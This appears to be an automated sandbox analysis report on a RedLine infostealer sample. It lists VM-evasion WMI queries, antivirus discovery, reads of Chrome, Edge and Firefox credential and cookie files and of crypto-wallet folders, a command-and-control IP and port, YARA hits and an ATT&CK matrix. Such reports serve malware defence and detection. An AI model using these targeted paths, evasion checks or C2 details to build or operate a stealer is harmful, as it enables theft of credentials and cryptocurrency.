Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: tmpC9DA.tmp.0.dr

LNK file: ..\..\..\..\..\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ep0X2wemcU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ep0X2wemcU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: ep0X2wemcU.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

File created: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 14555
Source: unknown	Network traffic detected: HTTP traffic on port 14555 -> 49707

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Memory allocated: 680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Memory allocated: 2410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Memory allocated: 2310000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Window / User API: threadDelayed 1425			Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Window / User API: threadDelayed 8324			Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe TID: 1892

Thread sleep time: -31359464925306218s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: tmp1289.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmp1289.tmp.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmp1289.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmp1289.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tmp1289.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmp1289.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmp1289.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmp1289.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ep0X2wemcU.exe, 00000000.00000002.2197330928.0000000000841000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp1289.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmp1289.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmp1289.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: tmp1289.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmp1289.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmp1289.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tmp1289.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: tmp1289.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmp1289.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmp1289.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Users\user\Desktop\ep0X2wemcU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: ep0X2wemcU.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ep0X2wemcU.exe PID: 1960, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\ep0X2wemcU.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: ep0X2wemcU.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ep0X2wemcU.exe PID: 1960, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: ep0X2wemcU.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ep0X2wemcU.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ep0X2wemcU.exe.367a2c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2023663761.0000000000062000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198762825.000000000367A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ep0X2wemcU.exe PID: 1960, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ep0X2wemcU.exe	82%	Virustotal		Browse
ep0X2wemcU.exe	89%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
ep0X2wemcU.exe	100%	Avira	HEUR/AGEN.1305500
ep0X2wemcU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\tmpC9C8.tmp	89%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine

Source	Detection	Scanner	Label
http://154.91.34.250:14555t-sq	0%	Avira URL Cloud	safe
http://154.91.34.250:14555/	0%	Avira URL Cloud	safe
http://154.91.34.250:14555	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
154.91.34.250:14555	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
154.91.34.250:14555	true	Avira URL Cloud: safe	unknown
http://154.91.34.250:14555/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	ep0X2wemcU.exe, tmpC9C8.tmp.0.dr	false		high
https://duckduckgo.com/chrome_newtab	tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpD96A.tmp.0.dr, tmpA065.tmp.0.dr, tmpA044.tmp.0.dr, tmpA002.tmp.0.dr, tmp66A1.tmp.0.dr, tmp6671.tmp.0.dr, tmpA013.tmp.0.dr, tmpD969.tmp.0.dr, tmpA023.tmp.0.dr, tmp66B1.tmp.0.dr, tmpA054.tmp.0.dr, tmpD948.tmp.0.dr	false		high
http://154.91.34.250:14555t-sq	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002492000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002460000.00000004.00000800.00020000.00000000.sdmp, ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	ep0X2wemcU.exe, tmpC9C8.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/envelope/	ep0X2wemcU.exe, 00000000.00000002.2197772354.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
